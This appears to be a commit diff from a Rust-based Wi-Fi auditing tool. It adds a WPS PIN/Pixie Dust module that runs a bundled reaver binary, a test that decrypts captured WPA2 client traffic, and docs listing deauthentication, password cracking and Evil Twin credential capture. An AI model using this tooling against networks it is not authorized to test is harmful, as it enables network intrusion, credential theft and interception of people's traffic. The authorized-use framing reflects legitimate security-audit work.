f[9..17].copy_from_slice(&1u64.to_le_bytes());
|
f[9..17].copy_from_slice(&1u64.to_be_bytes());
|
||||||
f[17..49].copy_from_slice(&nonce);
|
f[17..49].copy_from_slice(&nonce);
|
||||||
f[97..99].copy_from_slice(&(key_data.len() as u16).to_le_bytes());
|
f[97..99].copy_from_slice(&(key_data.len() as u16).to_be_bytes());
|
||||||
f[KEY_DATA_OFFSET..].copy_from_slice(key_data);
|
f[KEY_DATA_OFFSET..].copy_from_slice(key_data);
|
||||||
f
|
f
|
||||||
}
|
}
|
||||||
@@ -205,6 +205,7 @@ pub fn synthetic_handshake(
|
|||||||
first_seen_unix: 1,
|
first_seen_unix: 1,
|
||||||
last_seen_unix: 2,
|
last_seen_unix: 2,
|
||||||
password: None,
|
password: None,
|
||||||
|
tk: None,
|
||||||
};
|
};
|
||||||
// Exercita o parser de MAC do alvo.
|
// Exercita o parser de MAC do alvo.
|
||||||
assert!(dot11::parse_mac(&hs.bssid).is_some());
|
assert!(dot11::parse_mac(&hs.bssid).is_some());
|
||||||
|
|||||||
@@ -0,0 +1,212 @@
|
|||||||
|
//! Ataque de PIN WPS com o `reaver` embutido.
|
||||||
|
//!
|
||||||
|
//! O protocolo EAP-WSC é grande demais para reimplementar aqui; o Sabiá
|
||||||
|
//! carrega uma cópia do reaver (GPL-2, veja `assets/tools/LICENSE.reaver`),
|
||||||
|
//! extrai em tempo de execução e mostra a saída ao vivo. Assim o WPS já
|
||||||
|
//! funciona sem instalar nada. Se o usuário tiver um `bully` no PATH, ele
|
||||||
|
//! também aparece como alternativa.
|
||||||
|
|
||||||
|
use serde::Serialize;
|
||||||
|
use std::path::PathBuf;
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, Serialize)]
|
||||||
|
pub struct WpsTool {
|
||||||
|
pub name: String,
|
||||||
|
pub path: String,
|
||||||
|
pub bundled: bool,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(target_os = "linux")]
|
||||||
|
const BUNDLED_REAVER: &[u8] = include_bytes!("../../../assets/tools/reaver");
|
||||||
|
|
||||||
|
/// Procura um binário no `PATH` — usado pelo WPS (reaver/bully) e, fora
|
||||||
|
/// deste módulo, pelo Evil Twin (hostapd/dnsmasq), que precisa da mesma
|
||||||
|
/// checagem sem puxar uma dependência nova só pra isso.
|
||||||
|
pub(crate) fn find_in_path(binary: &str) -> Option<PathBuf> {
|
||||||
|
let path = std::env::var_os("PATH")?;
|
||||||
|
for dir in std::env::split_paths(&path) {
|
||||||
|
let candidate = dir.join(binary);
|
||||||
|
if candidate.is_file() {
|
||||||
|
return Some(candidate);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
None
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn tools() -> Vec<WpsTool> {
|
||||||
|
let mut out = Vec::new();
|
||||||
|
#[cfg(target_os = "linux")]
|
||||||
|
out.push(WpsTool {
|
||||||
|
name: "reaver".into(),
|
||||||
|
path: "integrado".into(),
|
||||||
|
bundled: true,
|
||||||
|
});
|
||||||
|
#[cfg(not(target_os = "linux"))]
|
||||||
|
if let Some(path) = find_in_path("reaver") {
|
||||||
|
out.push(WpsTool {
|
||||||
|
name: "reaver".into(),
|
||||||
|
path: path.display().to_string(),
|
||||||
|
bundled: false,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
if let Some(path) = find_in_path("bully") {
|
||||||
|
out.push(WpsTool {
|
||||||
|
name: "bully".into(),
|
||||||
|
path: path.display().to_string(),
|
||||||
|
bundled: false,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
out
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn tool_path(name: &str) -> Option<PathBuf> {
|
||||||
|
match name {
|
||||||
|
"reaver" => bundled_reaver().or_else(|| find_in_path("reaver")),
|
||||||
|
"bully" => find_in_path("bully"),
|
||||||
|
_ => None,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(target_os = "linux")]
|
||||||
|
fn bundled_reaver() -> Option<PathBuf> {
|
||||||
|
use std::fs;
|
||||||
|
use std::os::unix::fs::PermissionsExt;
|
||||||
|
|
||||||
|
// `temp_dir` é compartilhado; usa um diretório por UID e confere que ele
|
||||||
|
// não é um symlink antes de gravar, para não seguir link de outro usuário.
|
||||||
|
let uid = unsafe { libc::geteuid() };
|
||||||
|
let dir = std::env::temp_dir().join(format!("sabia-tools-{uid}"));
|
||||||
|
if let Ok(meta) = fs::symlink_metadata(&dir) {
|
||||||
|
if !meta.is_dir() || meta.file_type().is_symlink() {
|
||||||
|
return find_in_path("reaver");
|
||||||
|
}
|
||||||
|
} else if fs::create_dir_all(&dir).is_err() {
|
||||||
|
return find_in_path("reaver");
|
||||||
|
}
|
||||||
|
let _ = fs::set_permissions(&dir, fs::Permissions::from_mode(0o700));
|
||||||
|
|
||||||
|
let path = dir.join("reaver");
|
||||||
|
if let Ok(meta) = fs::symlink_metadata(&path) {
|
||||||
|
if !meta.is_file() || meta.file_type().is_symlink() {
|
||||||
|
return find_in_path("reaver");
|
||||||
|
}
|
||||||
|
if meta.len() == BUNDLED_REAVER.len() as u64 {
|
||||||
|
return Some(path);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fs::write(&path, BUNDLED_REAVER).ok()?;
|
||||||
|
fs::set_permissions(&path, fs::Permissions::from_mode(0o700)).ok()?;
|
||||||
|
Some(path)
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(not(target_os = "linux"))]
|
||||||
|
fn bundled_reaver() -> Option<PathBuf> {
|
||||||
|
None
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Argumentos para uma execução. Sem PIN, usa Pixie Dust (`-K 1`) no reaver
|
||||||
|
/// e o ataque padrão no bully.
|
||||||
|
pub fn args(tool: &str, iface: &str, bssid: &str, channel: u32, pin: Option<&str>) -> Vec<String> {
|
||||||
|
let channel = channel.to_string();
|
||||||
|
match tool {
|
||||||
|
"bully" => {
|
||||||
|
let mut args = vec![
|
||||||
|
"-b".into(),
|
||||||
|
bssid.into(),
|
||||||
|
"-c".into(),
|
||||||
|
channel,
|
||||||
|
"-d".into(),
|
||||||
|
iface.into(),
|
||||||
|
"-v".into(),
|
||||||
|
"3".into(),
|
||||||
|
];
|
||||||
|
if let Some(pin) = pin {
|
||||||
|
args.push("-p".into());
|
||||||
|
args.push(pin.into());
|
||||||
|
}
|
||||||
|
args
|
||||||
|
}
|
||||||
|
_ => {
|
||||||
|
let mut args = vec![
|
||||||
|
"-i".into(),
|
||||||
|
iface.into(),
|
||||||
|
"-b".into(),
|
||||||
|
bssid.into(),
|
||||||
|
"-c".into(),
|
||||||
|
channel,
|
||||||
|
"-vv".into(),
|
||||||
|
];
|
||||||
|
match pin {
|
||||||
|
Some(pin) => {
|
||||||
|
args.push("-p".into());
|
||||||
|
args.push(pin.into());
|
||||||
|
}
|
||||||
|
None => {
|
||||||
|
args.push("-K".into());
|
||||||
|
args.push("1".into());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
args
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Extrai PIN/PSK de uma linha de saída do reaver/bully.
|
||||||
|
pub fn parse_line(line: &str) -> (Option<String>, Option<String>) {
|
||||||
|
let lower = line.to_ascii_lowercase();
|
||||||
|
let grab = |needle: &str| -> Option<String> {
|
||||||
|
let idx = lower.find(needle)? + needle.len();
|
||||||
|
let rest = line[idx..].trim();
|
||||||
|
let rest = rest
|
||||||
|
.split_whitespace()
|
||||||
|
.next()?
|
||||||
|
.trim_matches(|c| c == '\'' || c == '"');
|
||||||
|
if rest.is_empty() {
|
||||||
|
None
|
||||||
|
} else {
|
||||||
|
Some(rest.to_string())
|
||||||
|
}
|
||||||
|
};
|
||||||
|
let pin = if lower.contains("wps pin") || lower.contains("pin:") {
|
||||||
|
grab("pin:").or_else(|| grab("wps pin"))
|
||||||
|
} else {
|
||||||
|
None
|
||||||
|
};
|
||||||
|
let psk = if lower.contains("wpa psk") || lower.contains("psk:") {
|
||||||
|
grab("psk:")
|
||||||
|
} else {
|
||||||
|
None
|
||||||
|
};
|
||||||
|
(pin, psk)
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn parses_reaver_output() {
|
||||||
|
assert_eq!(
|
||||||
|
parse_line("[+] WPS PIN: '12345670'"),
|
||||||
|
(Some("12345670".into()), None)
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
parse_line("[+] WPA PSK: 'senha-secreta'"),
|
||||||
|
(None, Some("senha-secreta".into()))
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn builds_pixie_dust_args() {
|
||||||
|
let pixie = args("reaver", "wlan0mon", "00:11:22:33:44:55", 6, None);
|
||||||
|
assert!(pixie.contains(&"-K".to_string()));
|
||||||
|
let pin = args(
|
||||||
|
"bully",
|
||||||
|
"wlan0mon",
|
||||||
|
"00:11:22:33:44:55",
|
||||||
|
6,
|
||||||
|
Some("12345670"),
|
||||||
|
);
|
||||||
|
assert!(pin.windows(2).any(|w| w == ["-p", "12345670"]));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -37,11 +37,11 @@ pub fn key_frame(message: u8, keyver: u8, nonce: [u8; 32], key_data: &[u8]) -> V
|
|||||||
f[1] = EAPOL_TYPE_KEY;
|
f[1] = EAPOL_TYPE_KEY;
|
||||||
f[2..4].copy_from_slice(&((total - 4) as u16).to_be_bytes());
|
f[2..4].copy_from_slice(&((total - 4) as u16).to_be_bytes());
|
||||||
f[4] = 2;
|
f[4] = 2;
|
||||||
f[5..7].copy_from_slice(&key_info.to_le_bytes());
|
f[5..7].copy_from_slice(&key_info.to_be_bytes());
|
||||||
f[7..9].copy_from_slice(&16u16.to_le_bytes());
|
f[7..9].copy_from_slice(&16u16.to_be_bytes());
|
||||||
f[9..17].copy_from_slice(&1u64.to_le_bytes());
|
f[9..17].copy_from_slice(&1u64.to_be_bytes());
|
||||||
f[17..49].copy_from_slice(&nonce);
|
f[17..49].copy_from_slice(&nonce);
|
||||||
f[97..99].copy_from_slice(&(key_data.len() as u16).to_le_bytes());
|
f[97..99].copy_from_slice(&(key_data.len() as u16).to_be_bytes());
|
||||||
f[KEY_DATA_OFFSET..].copy_from_slice(key_data);
|
f[KEY_DATA_OFFSET..].copy_from_slice(key_data);
|
||||||
f
|
f
|
||||||
}
|
}
|
||||||
@@ -231,6 +231,7 @@ pub fn synthetic_handshake(
|
|||||||
first_seen_unix: 1,
|
first_seen_unix: 1,
|
||||||
last_seen_unix: 2,
|
last_seen_unix: 2,
|
||||||
password: None,
|
password: None,
|
||||||
|
tk: None,
|
||||||
};
|
};
|
||||||
// Exercita o parser de MAC do alvo.
|
// Exercita o parser de MAC do alvo.
|
||||||
assert!(dot11::parse_mac(&hs.bssid).is_some());
|
assert!(dot11::parse_mac(&hs.bssid).is_some());
|
||||||
|
|||||||
@@ -67,6 +67,98 @@ fn hidden_ssid_beacon_is_marked_hidden() {
|
|||||||
assert!(aps[0].hidden);
|
assert!(aps[0].hidden);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Depois que a senha de uma rede WPA2/CCMP é conhecida (quebrada), o
|
||||||
|
/// tráfego de dados do cliente cujo handshake foi capturado passa a ser
|
||||||
|
/// decifrado em tempo real pelo pipeline de ingestão — e a identidade
|
||||||
|
/// (aqui, o IP de origem, que exercita o parser de IPv4 por trás do LLC)
|
||||||
|
/// aparece mesmo com o bit "Protected" ligado.
|
||||||
|
#[test]
|
||||||
|
fn decrypts_ccmp_traffic_once_password_is_known_and_fills_client_identity() {
|
||||||
|
use sabia_core::crack::{compute_ptk, derive_pmk};
|
||||||
|
|
||||||
|
let mut table = ScanTable::new();
|
||||||
|
let ssid = "RedeCifrada";
|
||||||
|
let password = "senha-correta";
|
||||||
|
|
||||||
|
let beacon = common::beacon_frame(common::ap(), ssid, 6, &[2]);
|
||||||
|
table.ingest(&common::radiotap_wrap(&beacon, 2437, -35));
|
||||||
|
|
||||||
|
let (f1, f2) = common::handshake_radiotap_frames(ssid, password, 2, false);
|
||||||
|
table.ingest(&f1);
|
||||||
|
table.ingest(&f2);
|
||||||
|
|
||||||
|
let bssid_str = sabia_core::dot11::mac_to_string(&common::ap());
|
||||||
|
let station_str = sabia_core::dot11::mac_to_string(&common::sta());
|
||||||
|
table.set_password(&bssid_str, &station_str, password);
|
||||||
|
|
||||||
|
// A TK derivada pelo pipeline tem que bater com a calculada à parte, com
|
||||||
|
// os mesmos nonces fixos (0xaa/0xbb) que handshake_radiotap_frames usa.
|
||||||
|
let anonce = [0xaa; 32];
|
||||||
|
let snonce = [0xbb; 32];
|
||||||
|
let pmk = derive_pmk(password, ssid);
|
||||||
|
let ptk = compute_ptk(&pmk, &common::ap(), &common::sta(), &anonce, &snonce);
|
||||||
|
let expected_tk: [u8; 16] = ptk[32..48].try_into().unwrap();
|
||||||
|
let hs = table
|
||||||
|
.handshake(&bssid_str, &station_str)
|
||||||
|
.expect("handshake presente");
|
||||||
|
assert_eq!(
|
||||||
|
hs.tk,
|
||||||
|
Some(expected_tk),
|
||||||
|
"TK deveria ser derivada ao quebrar a senha"
|
||||||
|
);
|
||||||
|
|
||||||
|
// Monta um quadro QoS Data, STA->AP, protegido, com CCMP header (PN=1,
|
||||||
|
// ExtIV ligado) e cifra um payload LLC/SNAP+IPv4 "na mão" — o CTR do
|
||||||
|
// CCMP é simétrico, então usar decrypt_data pra cifrar é válido aqui.
|
||||||
|
let llc_ipv4 = {
|
||||||
|
let mut v = vec![0xAA, 0xAA, 0x03, 0x00, 0x00, 0x00, 0x08, 0x00];
|
||||||
|
let mut ip = vec![
|
||||||
|
0x45, 0x00, 0x00, 20, 0x00, 0x00, 0x00, 0x00, 64, 17, 0x00, 0x00,
|
||||||
|
];
|
||||||
|
ip.extend_from_slice(&[192, 168, 1, 50]); // origem privada
|
||||||
|
ip.extend_from_slice(&[192, 168, 1, 1]); // destino
|
||||||
|
v.extend_from_slice(&ip);
|
||||||
|
v
|
||||||
|
};
|
||||||
|
let ccmp_header = [0x01u8, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00]; // PN=1, ExtIV
|
||||||
|
let mut to_cipher = Vec::new();
|
||||||
|
to_cipher.extend_from_slice(&ccmp_header);
|
||||||
|
to_cipher.extend_from_slice(&llc_ipv4);
|
||||||
|
to_cipher.extend_from_slice(&[0u8; 8]); // placeholder pro MIC, ignorado
|
||||||
|
let ciphertext = sabia_core::ccmp::decrypt_data(&expected_tk, &common::sta(), 0, &to_cipher)
|
||||||
|
.expect("cifra via CTR simétrico");
|
||||||
|
|
||||||
|
let mut body = Vec::new();
|
||||||
|
body.extend_from_slice(&ccmp_header);
|
||||||
|
body.extend_from_slice(&ciphertext);
|
||||||
|
body.extend_from_slice(&[0u8; 8]); // MIC cifrado — não conferido na decriptação
|
||||||
|
|
||||||
|
let mut frame = Vec::new();
|
||||||
|
let fc: u16 = 0x0088 | 0x0100 | 0x4000; // QoS Data, to_ds, protected
|
||||||
|
frame.extend_from_slice(&fc.to_le_bytes());
|
||||||
|
frame.extend_from_slice(&0u16.to_le_bytes()); // duration
|
||||||
|
frame.extend_from_slice(&common::ap()); // addr1 = BSSID
|
||||||
|
frame.extend_from_slice(&common::sta()); // addr2 = transmissor (estação)
|
||||||
|
frame.extend_from_slice(&common::ap()); // addr3 = destino (irrelevante aqui)
|
||||||
|
frame.extend_from_slice(&[0u8; 2]); // sequence control
|
||||||
|
frame.extend_from_slice(&[0u8; 2]); // QoS control, TID 0
|
||||||
|
frame.extend_from_slice(&body);
|
||||||
|
|
||||||
|
let ev = table.ingest_at(&common::radiotap_wrap(&frame, 2437, -45), 30);
|
||||||
|
assert!(!ev.eapol, "não é um quadro EAPOL");
|
||||||
|
|
||||||
|
let clients = table.clients();
|
||||||
|
let client = clients
|
||||||
|
.iter()
|
||||||
|
.find(|c| c.mac == station_str)
|
||||||
|
.expect("cliente deveria ter sido visto");
|
||||||
|
assert_eq!(
|
||||||
|
client.ip.as_deref(),
|
||||||
|
Some("192.168.1.50"),
|
||||||
|
"o IP só aparece se o CCMP foi decifrado corretamente"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn pmkid_only_handshake_is_detected_and_crackable() {
|
fn pmkid_only_handshake_is_detected_and_crackable() {
|
||||||
let mut table = ScanTable::new();
|
let mut table = ScanTable::new();
|
||||||
|
|||||||
+2
-2
@@ -39,10 +39,10 @@ sabia analyze <file.pcap> [--json]
|
|||||||
## `crack` — dictionary cracking
|
## `crack` — dictionary cracking
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sabia crack <file.pcap> --wordlist <list.txt> [--bssid <mac>] [--station <mac>] [--json]
|
sabia crack <file.pcap> --wordlist <list.txt> [--bssid <mac>] [--station <mac>] [--rules] [--json]
|
||||||
```
|
```
|
||||||
|
|
||||||
Recomputes the PMK with PBKDF2-HMAC-SHA1 and checks the MIC (4-way) or the PMKID, for WPA/WPA2-PSK. `--bssid`/`--station` filter which handshake to use.
|
Recomputes the PMK with PBKDF2-HMAC-SHA1 and checks the MIC (4-way) or the PMKID, for WPA/WPA2-PSK. `--bssid`/`--station` filter which handshake to use. `--rules` applies hashcat-style mutations (uppercase, numeric/symbol suffixes, simple leet) to each dictionary word — multiplies the time for real. The desktop app and `sabia ui` additionally offer the bundled 9.7M-password dictionary by default, mask brute force (`?d?l?u?s?a`), and `.hc22000` export.
|
||||||
|
|
||||||
## `deauth` — authorized deauthentication test
|
## `deauth` — authorized deauthentication test
|
||||||
|
|
||||||
|
|||||||
+4
-1
@@ -9,7 +9,10 @@ The desktop app (Tauri) and the browser version (`sabia ui`) are the same front-
|
|||||||
- **Interface sidebar:** lists the Wi-Fi interfaces; pick one to work with. The footer has the version and the one-click **update** button.
|
- **Interface sidebar:** lists the Wi-Fi interfaces; pick one to work with. The footer has the version and the one-click **update** button.
|
||||||
- **Capture panel:** header with the current mode (managed/monitor), an **animated signal line**, and the **enable monitor mode** and **start capture** buttons.
|
- **Capture panel:** header with the current mode (managed/monitor), an **animated signal line**, and the **enable monitor mode** and **start capture** buttons.
|
||||||
- **Authorized-use notice**, always in view: use only on your own networks or with authorization; every monitor activation and capture goes into the local audit trail.
|
- **Authorized-use notice**, always in view: use only on your own networks or with authorization; every monitor activation and capture goes into the local audit trail.
|
||||||
- **Networks seen:** live table with SSID, signal bars, channel and a color-coded security badge (open, WEP, WPA/WPA2, WPA3).
|
- **Networks seen:** live table with SSID, signal bars, channel and a color-coded security badge (open, WEP, WPA/WPA2, WPA3). Row order is stable (arrival order, signal rounded to 4 dBm buckets) so it doesn't shuffle under the cursor as signal fluctuates.
|
||||||
|
- **Channels view:** interference/overlap scoring per band with a recommended channel.
|
||||||
|
- **Network detail → Attacks tab:** directional/continuous deauthentication, PMF probing, clientless PMKID hunting, handshake capture (auto-resumes the capture session if it was stopped), cracking (bundled 9.7M-password dictionary, mutation rules, mask brute force), `.hc22000` export, WPS PIN/Pixie Dust, Evil Twin with captive portal (WPA/WPA2-PSK), and — only shown for 802.1X networks — the Enterprise Evil Twin variant that captures credentials automatically. Every action requires the authorized-use checkbox and is logged to the audit trail.
|
||||||
|
- **Report:** a paginated, printable audit report (cover, table of contents, findings, channel scoring, networks/clients/handshakes, audit trail) previewed in a dialog and printable to PDF from the browser.
|
||||||
|
|
||||||
## Privilege
|
## Privilege
|
||||||
|
|
||||||
|
|||||||
+2
-2
@@ -39,10 +39,10 @@ sabia analyze <arquivo.pcap> [--json]
|
|||||||
## `crack` — quebra por dicionário
|
## `crack` — quebra por dicionário
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sabia crack <arquivo.pcap> --wordlist <lista.txt> [--bssid <mac>] [--station <mac>] [--json]
|
sabia crack <arquivo.pcap> --wordlist <lista.txt> [--bssid <mac>] [--station <mac>] [--rules] [--json]
|
||||||
```
|
```
|
||||||
|
|
||||||
Recalcula a PMK com PBKDF2-HMAC-SHA1 e confere o MIC (4-way) ou o PMKID, para WPA/WPA2-PSK. `--bssid`/`--station` filtram qual handshake usar.
|
Recalcula a PMK com PBKDF2-HMAC-SHA1 e confere o MIC (4-way) ou o PMKID, para WPA/WPA2-PSK. `--bssid`/`--station` filtram qual handshake usar. `--rules` aplica mutações estilo hashcat (maiúscula, sufixos numéricos/símbolos, leet simples) a cada palavra do dicionário — multiplica o tempo de verdade. O app desktop e o `sabia ui` oferecem também o dicionário embutido de 9,7 milhões de senhas por padrão, força bruta por máscara (`?d?l?u?s?a`) e exportação em `.hc22000`.
|
||||||
|
|
||||||
## `deauth` — teste autorizado de desautenticação
|
## `deauth` — teste autorizado de desautenticação
|
||||||
|
|
||||||
|
|||||||
@@ -9,7 +9,10 @@ O app desktop (Tauri) e a versão no navegador (`sabia ui`) são o mesmo front-e
|
|||||||
- **Sidebar de interfaces:** lista as interfaces Wi-Fi; selecione uma para trabalhar. No rodapé ficam a versão e o botão de **atualização** em um clique.
|
- **Sidebar de interfaces:** lista as interfaces Wi-Fi; selecione uma para trabalhar. No rodapé ficam a versão e o botão de **atualização** em um clique.
|
||||||
- **Painel de captura:** cabeçalho com o modo atual (managed/monitor), uma **linha de sinal animada**, e os botões **ativar modo monitor** e **iniciar captura**.
|
- **Painel de captura:** cabeçalho com o modo atual (managed/monitor), uma **linha de sinal animada**, e os botões **ativar modo monitor** e **iniciar captura**.
|
||||||
- **Aviso de uso autorizado**, sempre à vista: use só em redes próprias ou com autorização; toda ativação de monitor e captura entra na trilha de auditoria local.
|
- **Aviso de uso autorizado**, sempre à vista: use só em redes próprias ou com autorização; toda ativação de monitor e captura entra na trilha de auditoria local.
|
||||||
- **Redes vistas:** tabela em tempo real com SSID, barras de sinal, canal e um selo de segurança por cor (aberta, WEP, WPA/WPA2, WPA3).
|
- **Redes vistas:** tabela em tempo real com SSID, barras de sinal, canal e um selo de segurança por cor (aberta, WEP, WPA/WPA2, WPA3). A ordem das linhas é estável (ordem de chegada, sinal arredondado em buckets de 4 dBm) — não fica trocando de posição debaixo do cursor conforme o sinal oscila.
|
||||||
|
- **Visão de canais:** pontuação de interferência/sobreposição por banda, com canal recomendado.
|
||||||
|
- **Detalhe da rede → aba Ataques:** desautenticação direcional/contínua, teste de PMF, caça de PMKID sem cliente, captura de handshake (religa a captura sozinha se ela tiver sido parada), quebra de senha (dicionário embutido de 9,7 milhões de senhas, regras de mutação, força bruta por máscara), exportação `.hc22000`, WPS PIN/Pixie Dust, Evil Twin com portal cativo (WPA/WPA2-PSK) e — só exibido para redes 802.1X — a variante Enterprise do Evil Twin, que captura credenciais automaticamente. Toda ação exige o checkbox de autorização e fica registrada na trilha de auditoria.
|
||||||
|
- **Relatório:** relatório de auditoria paginado e imprimível (capa, sumário, achados, pontuação de canais, redes/clientes/handshakes, trilha de auditoria), pré-visualizado num diálogo e imprimível em PDF pelo navegador.
|
||||||
|
|
||||||
## Privilégio
|
## Privilégio
|
||||||
|
|
||||||
|
|||||||
@@ -68,7 +68,11 @@ const WORDS = [
|
|||||||
'atualização', 'atualizado', 'trocar', 'possível', 'quebrável', 'quebrado', 'rompida',
|
'atualização', 'atualizado', 'trocar', 'possível', 'quebrável', 'quebrado', 'rompida',
|
||||||
'corrompida', 'inválido', 'inválida', 'entrada', 'dicionário', 'quadros', 'quantidade',
|
'corrompida', 'inválido', 'inválida', 'entrada', 'dicionário', 'quadros', 'quantidade',
|
||||||
'injetar', 'encontrado', 'encontrada', 'suportada', 'permissão', 'insuficiente', 'instale',
|
'injetar', 'encontrado', 'encontrada', 'suportada', 'permissão', 'insuficiente', 'instale',
|
||||||
'root', 'indisponível', 'plataforma', 'criada', 'ainda',
|
'root', 'indisponível', 'plataforma', 'criada', 'ainda', 'ferramenta', 'ferramentas',
|
||||||
|
'exportar', 'importar', 'imprimir', 'baixar', 'recomendado', 'recomendada', 'aberta',
|
||||||
|
'aberto', 'inconclusivo', 'inconclusiva', 'capturado', 'capturada', 'conhecido',
|
||||||
|
'conhecida', 'opcional', 'opcionais', 'fechar', 'motivo', 'linha', 'tempo', 'quadro',
|
||||||
|
'tentativas', 'ambas',
|
||||||
];
|
];
|
||||||
|
|
||||||
const BRAND = /Sabiá|Português|English/gi;
|
const BRAND = /Sabiá|Português|English/gi;
|
||||||
@@ -246,7 +250,7 @@ function rustLabels(source, file) {
|
|||||||
// ---------------------------------------------------------------- coleta
|
// ---------------------------------------------------------------- coleta
|
||||||
|
|
||||||
const uiFiles = readdirSync(join(root, 'apps/gui/ui'))
|
const uiFiles = readdirSync(join(root, 'apps/gui/ui'))
|
||||||
.filter((f) => f.endsWith('.js') && f !== 'i18n-en.js')
|
.filter((f) => f.endsWith('.js') && f !== 'i18n-en.js' && f !== 'paged.polyfill.min.js')
|
||||||
.map((f) => join(root, 'apps/gui/ui', f));
|
.map((f) => join(root, 'apps/gui/ui', f));
|
||||||
uiFiles.push(join(root, 'apps/gui/ui/index.html'));
|
uiFiles.push(join(root, 'apps/gui/ui/index.html'));
|
||||||
|
|
||||||
|
|||||||
Reference in new issue
Block a user